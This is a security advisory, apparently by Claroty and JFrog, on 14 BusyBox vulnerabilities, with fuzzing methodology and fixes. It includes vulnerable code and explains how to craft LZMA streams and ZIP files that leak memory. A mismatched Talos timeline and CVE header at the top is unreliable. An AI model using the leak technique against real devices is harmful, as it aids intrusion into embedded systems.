2021-12-13 - Vendor patched  
2021-12-15 - Talos tested patch  
2021-12-20 - Public Release

Discovered by Matt Wiseman of Cisco Talos.

CVE-2021-21902: TALOS-2021-1354 || Cisco Talos Intelligence Group

A use-after-free in Busybox's awk applet leads to denial of service and possibly code execution when processing a crafted awk pattern in the next_input_file function

**Background**

Embedded devices with limited memory and storage resources are likely to leverage a tool such as BusyBox, which is marketed as the Swiss Army Knife of embedded Linux. BusyBox is a software suite of many useful Unix utilities, known as applets, that are packaged as a single executable file. Within BusyBox you can find a full-fledged shell, a DHCP client/server, and small utilities such as cp, ls, grep, and others. You’re likely to find many OT and IoT devices running BusyBox, including popular programmable logic controllers (PLCs), human-machine interfaces (HMIs), and remote terminal units (RTUs)—many of which now run on Linux.

As part of our commitment to improving open-source software security, Claroty’s Team82 and JFrog collaborated on a vulnerability research project examining BusyBox. Using static and dynamic techniques, Claroty’s Team82 and JFrog discovered 14 vulnerabilities affecting the latest version of BusyBox. All vulnerabilities were privately disclosed and fixed by BusyBox in version 1.34.0, which was released Aug. 19.

In most cases, the expected impact of these issues is denial of service (DoS). However, in rarer cases, these issues can also lead to information leaks and possibly remote code execution.

In this report, we provide details on the vulnerabilities we discovered, elaborate on who is affected, discuss our research methodology, explain one of the vulnerabilities in depth, and suggest fixes and workarounds for these issues.

In addition to disclosing the vulnerabilities, Team82 is also open-sourcing our custom AFL fuzzing harnesses, which were responsible for triggering many of the mentioned vulnerabilities. Hopefully this will help fellow researchers find and disclose more issues.

**The Vulnerabilities**

**CVE ID**

**Description**

**Affected applet**

**Affected versions (inclusive)**

**Impact**

**CVSS v3.1**

**CVE-2021-42373**

A NULL pointer dereference in man leads to denial of service when a section name is supplied but no page argument is given

man

1.33.0-1.33.1

DoS

5.1

**CVE-2021-42374**

An out-of-bounds heap read in unlzma leads to information leak and denial of service when crafted LZMA-compressed input is decompressed. This can be triggered by any applet/format that internally supports LZMA compression.

lzma/unlzma and more (see below)

1.27.0 – 1.33.1 

DoS & InfoLeak

6.5

**CVE-2021-42375**

An incorrect handling of a special element in ash leads to denial of service when processing a crafted shell command, due to the shell mistaking specific characters for reserved characters. This may be used for DoS under rare conditions of filtered command input.

ash

1.33.1

DoS

4.1

**CVE-2021-42376**

A NULL pointer dereference in hush leads to denial of service when processing a crafted shell command, due to missing validation after a \\x03 delimiter character. This may be used for DoS under very rare conditions of filtered command input.

hush

1.16-1.31.1

DoS

4.1

**CVE-2021-42377**

An attacker-controlled pointer free in hush leads to denial of service and possible code execution when processing a crafted shell command, due to the shell mishandling the &&& string. This may be used for remote code execution under rare conditions of filtered command input.

hush

1.33.0-1.33.1

DoS & Possible RCE

6.4

**CVE-2021-42378**

A use-after-free in awk leads to denial of service and possibly code execution when processing a crafted awk pattern in the getvar_i function

awk

1.16-1.33.1

DoS & Possible RCE

6.6

**CVE-2021-42379**

A use-after-free in awk leads to denial of service and possibly code execution when processing a crafted awk pattern in the next_input_file function

awk

1.18-1.33.1

DoS & Possible RCE

6.6

**CVE-2021-42380**

A use-after-free in awk leads to denial of service and possibly code execution when processing a crafted awk pattern in the clrvar function

awk

1.28-1.33.1

DoS & Possible RCE

6.6

**CVE-2021-42381**

A use-after-free in awk leads to denial of service and possibly code execution when processing a crafted awk pattern in the hash_init function

awk

1.21-1.33.1

DoS & Possible RCE

6.6

**CVE-2021-42382**

A use-after-free in awk leads to denial of service and possibly code execution when processing a crafted awk pattern in the getvar_s function

awk

1.26-1.33.1

DoS & Possible RCE

6.6

**CVE-2021-42383**

A use-after-free in awk leads to denial of service and possibly code execution when processing a crafted awk pattern in the evaluate function

awk

1.33.1

DoS & Possible RCE

6.6

**CVE-2021-42384**

A use-after-free in awk leads to denial of service and possibly code execution when processing a crafted awk pattern in the handle_special function

awk

1.18-1.33.1

DoS & Possible RCE

6.6

**CVE-2021-42385**

A use-after-free in awk leads to denial of service and possibly code execution when processing a crafted awk pattern in the evaluate function

awk

1.16-1.33.1

DoS & Possible RCE

6.6

**CVE-2021-42386**

A use-after-free in awk leads to denial of service and possibly code execution when processing a crafted awk pattern in the nvalloc function

awk

1.16-1.33.1

DoS & Possible RCE

6.6

**Triggering the Vulnerabilities**

Since the affected applets are not daemons, each vulnerability can only be exploited if the vulnerable applet is fed with untrusted data (usually through a command-line argument). Specifically, these are the conditions that must occur for each vulnerability to be triggered:

**CVE-2021-42373** – Applies if the attacker can control all parameters passed to man.

man is built by the default BusyBox configuration, but not shipped with Ubuntu’s default BusyBox binary.

**CVE-2021-42374** – Applies if the attacker can supply a crafted compressed file, that will be decompressed by using unlzma.

Note that even if the unlzma applet is not available, but CONFIG_FEATURE_SEAMLESS_LZMA (enabled by default) is enabled, other applets such as tar, unzip, rpm, dpkg,lzma and man can also reach the vulnerable code when handling a file with the .lzma filename suffix.

unlzma is built by the default BusyBox configuration and shipped with Ubuntu’s default BusyBox binary.

**CVE-2021-42375** – Applies if the attacker can supply a command line to ash that contains the special characters $, {, }, # .

ash is built by the default BusyBox configuration and shipped with Ubuntu’s default BusyBox binary.

**CVE-2021-42376** – Applies if the attacker can supply a command line to hush that contains the special character \\x03 (delimiter).

hush is built by the default BusyBox configuration but not shipped with Ubuntu’s default BusyBox binary.

**CVE-2021-42377** – Applies if the attacker can supply a command line to hush that contains the special character &.

**CVE-2021-42378 – CVE-2021-42386** – Applies if the attacker can supply an arbitrary pattern to awk (the pattern is the first positional argument this applet takes).

awkƒ is built by the default BusyBox configuration and shipped with Ubuntu’s default BusyBox binary.

**Research Methodology**

To research BusyBox, we used static and dynamic analysis approaches.

First, a manual review of the BusyBox source code was conducted in a top-down approach (following user input up to specific applet handling). We also looked for obvious logical/memory corruption vulnerabilities.

The next approach was fuzzing. We compiled BusyBox with ASan and implemented an AFL harness for each BusyBox applet. Each harness was subsequently optimized by removing unnecessary parts of the code, running multiple fuzzing cycles on the same process (persistent mode), and running multiple fuzzed instances in parallel.

We started from fuzzing all the daemon applets, including HTTP, Telnet, DNS, DHCP, NTP and others. Many code changes were required in order to effectively fuzz network-based input. For example, the main modification we performed was to replace all recv functions with input from STDIN in order to support fuzzed inputs. Similar changes were done when we fuzzed non-server applets as well.

We prepared a couple of examples for each applet and ran hundreds of fuzzed BusyBox instances for a few days. This gave us tens of thousands of crashes to evaluate. We had to create classes of crashes with the same root cause to help reduce the volume of crashes we had in our sample set. Later, we minimized each group representative in order to work with a small subset of unique crash inputs.

To fulfill these tasks, we developed automatic tooling that digested all crash data and classified it based on the crash analysis report which mainly includes the crash stack trace, registers, and assembly code of the relevant code area. For example, we merged cases with similar crash stack traces because they usually had the same problematic root cause.

Finally, we researched each unique crash and minimized its input vector in order to understand the root cause, which allowed us to create a proof-of-concept (PoC) that exploits the vulnerability responsible for the crash. In addition, we tested our PoCs against several BusyBox versions to understand when the bugs were introduced to the source code.

In summary, following are the steps we took in our research:

1.  Code review
2.  Fuzzing
3.  Reduction & Minimization
4.  Triage
5.  PoC
6.  Testing multiple versions
7.  Disclosure

**Guide and Resources for BusyBox Fuzzing**

As part of our commitment to the open source security and security communities, we created a simple on-boarding guide detailing how to fuzz BusyBox. The guide is published alongside all of the fuzzing harnesses we wrote as part of our fuzzing efforts. We hope these fuzzing harnesses can be further improved by the community, in order to find and fix even more bugs in BusyBox.

All materials are available on Claroty’s GitHub page.

**Threat Analysis**

To assess the threat level posed by these vulnerabilities, we inspected JFrog’s database of more than 10,000 embedded firmware images (composed of only publicly available firmware images, and not ones uploaded to JFrog Artifactory). We found that 40% of them contained a BusyBox executable file that is linked with one of the affected applets, making these issues extremely widespread among Linux-based embedded firmware.

However, we believe these issues do not currently pose a critical security threat because:

1.  The DoS vulnerabilities are trivial to exploit, but the impact is usually mitigated by the fact that applets almost always run as a separate forked process.
2.  The information leak vulnerability is nontrivial to exploit (see, next section).
3.  The use-after-free vulnerabilities may be exploitable for remote code execution, but currently we did not attempt to create a weaponized exploit for them. In addition, it is quite rare (and inherently unsafe) to process an awk pattern from external input.

**Deep Dive on CVE-2021-42374 – LZMA OOB Read**

Lempel–Ziv–Markov Chain Algorithm (LZMA) and Range Coding

LZMA is a compression algorithm that uses dictionary compression, and encodes its output using a range encoder. The dictionary compressor finds matches using sophisticated dictionary data structures, and produces a stream of literal symbols and phrase references, which are encoded one bit at a time by the range encoder, using a complex model to make a probability prediction of each bit.

The compression algorithm encodes the compressed stream as a stream of bits using an adaptive binary range coder. Data is broken into packets, where each packet describes either a single byte, or an LZ77 sequence, with its length and distance implicitly or explicitly encoded.

The .lzma format consists of a 13-byte header followed by the LZMA compressed data. Here is a small example of compressing the string “abc” using:

In order to output the decompressed stream, LZMA implementations use a memory buffer that is initialized in the size of the user-provided dictionary size (part of the LZMA header). Once that buffer is filled, it automatically outputs the data thus far, flushes the buffer and starts filling it up again.

**The Vulnerability**

The vulnerability is caused by an insufficient size check in the unpack_lzma_stream function (in decompress\_unlzma.c) when the state >= LZMA_NUM_LIT_STATES:

    while (global_pos + buffer_pos < header.dst_size) {
        ...
        uint32_t pos;
    
        pos = buffer_pos - rep0;
        if ((int32_t)pos < 0)           // Insufficient check
            pos += header.dict_size; 	// dict_size is user-controlled
        match_byte = buffer[pos]; 	// Read OOB may occur here
        do {
            int bit;
    
            match_byte <<= 1;
            bit = match_byte & 0x100;
            ...

To trigger the vulnerability and to control the starting offset where we will leak data from, we need to make sure that the following conditions are satisfied:

buffer_pos = 0  
and  
rep0 = offset + dict_size

This way, pos will be equal to -(offset + dict_size). After adding dict_size, pos will be -offset and so we could leak memory from our desired offset through match\_byte. The leaked memory will most likely contain pointers which could further assist attackers in their exploitation campaign (ex. by facilitating ASLR bypass).

**Causing an Out-of-Bounds Access**

The general idea to exploit this vulnerability is to prepare a specifically crafted LZMA encoded stream, so that when it is decoded, both conditions will be filled and pos will be equal to a negative number -offset. Eventually, the decompressed stream will contain the leaked memory, which will be written to the output steam.

To satisfy the first condition buffer_pos = 0, we need to make sure our code flow (state >= LZMA_NUM_LIT_STATES) is reached right after the current decompressed buffer stream is flushed and so the buffer pointer position will be 0. We can achieve this by reaching the last iteration of a current match:

    buffer[buffer_pos++] = previous_byte;
    if (buffer_pos == header.dict_size) {
    	buffer_pos = 0;
    	global_pos += header.dict_size;
    	if (transformer_write(xstate, buffer, header.dict_size) != (ssize_t)header.dict_size)
    		goto bad;
    	IF_DESKTOP(total_written += header.dict_size;)
    }
    len--;
    } while (len != 0 && buffer_pos < header.dst_size); // match_last_iteration will end with buffer_pos = 0;

The second condition is more difficult to satisfy and requires intimate knowledge of how the LZMA algorithm works. The general idea is to encode a special length in the LZMA bit stream so that when decoded it will be used by the rep0 variable.

To conclude, in order to reach an OOB condition, we need to write some bytes, then use a match to fill the buffer to header.dict_size and change rep0 to our desired value. Therefore, pos will be equal -offset and we could leak bytes from offset as a reference to the buffer pointer.

**Leaking Bits from Out-of-Bounds Memory**

After reading the match_byte, we will get to this flow:

    do {
    	int bit;
    
    	match_byte <<= 1;
    	bit = match_byte & 0x100;
    	bit ^= (rc_get_bit(rc, prob + 0x100 + bit + mi, &mi) << 8); /* 0x100 or 0 */
    	if (bit)
    		break;
    } while (mi < 0x100);
    
    while (mi < 0x100) {
    	rc_get_bit(rc, prob + mi, &mi);
    }

As long as the bits match our match\_byte (the leaked byte), it will be in the loop that reads the probability from prob + 0x100 + bit + mi, but once one bit is not matched, it reads it from prob + mi. We can detect what was the first unmatched bit, by checking if prob + mi was changed by writing more literal bytes, or if the probability was changed and we got a different output. Finally, the leaked bits will get flushed to the decompressed buffer.

**Weaponizing ZIP Files**

Although the vulnerability was found in the LZMA decompression algorithm, we found that many applets support an LZMA compression and will try to decompress encoded LZMA streams by default (see section, “Fixes and Workarounds” for the configuration flags governing this behavior). For example, the ubiquitous ZIP format supports LZMA compression as a “type 14” compression.

From an attacker’s perspective, ZIP is a much better attack vector since:

*   unzip invocations are much more common than direct invocations of unlzma.
*   With this attack vector, there are no constraints on the filename that’s going to be unzipped (unlike in the tar attack vector, which requires a .lzma suffix).
*   The leaked data can be extracted and saved into files that can be later read remotely. For example, this can happen in an embedded web service that permits uploading zip files with media resources, which will get extracted to an accessible location. From there, the attacker could read the leaked memory data.

To test this, we built a small PoC script that generates a weaponized ZIP where one of the files is compressed using LZMA:

**Fixes and Workarounds**

All 14 vulnerabilities have been fixed in BusyBox 1.34.0 (direct download link) and users are urged to upgrade.

If upgrading BusyBox is not possible (due to specific version compatibility needs), BusyBox 1.33.1 and earlier versions can be compiled without the vulnerable functionality (applets) as a workaround.

After running make defconfig in BusyBox’s source directory (or if reusing a previous configuration), edit the .config file as such:

*   man – Comment out CONFIG_MAN=y
*   lzma – Comment out CONFIG_UNLZMA=y, CONFIG_FEATURE_SEAMLESS_LZMA=y and CONFIG_FEATURE_UNZIP_LZMA=y
*   ash – Comment out CONFIG_ASH=y
*   hush – Comment out CONFIG_HUSH=y
*   awk – Comment out CONFIG_AWK=y

**Acknowledgements**

We would like to thank Denys Vlasenko from BusyBox’s development team for validating and fixing all of the above issues in a swift manner for version 1.34.0.

Tag

#telnet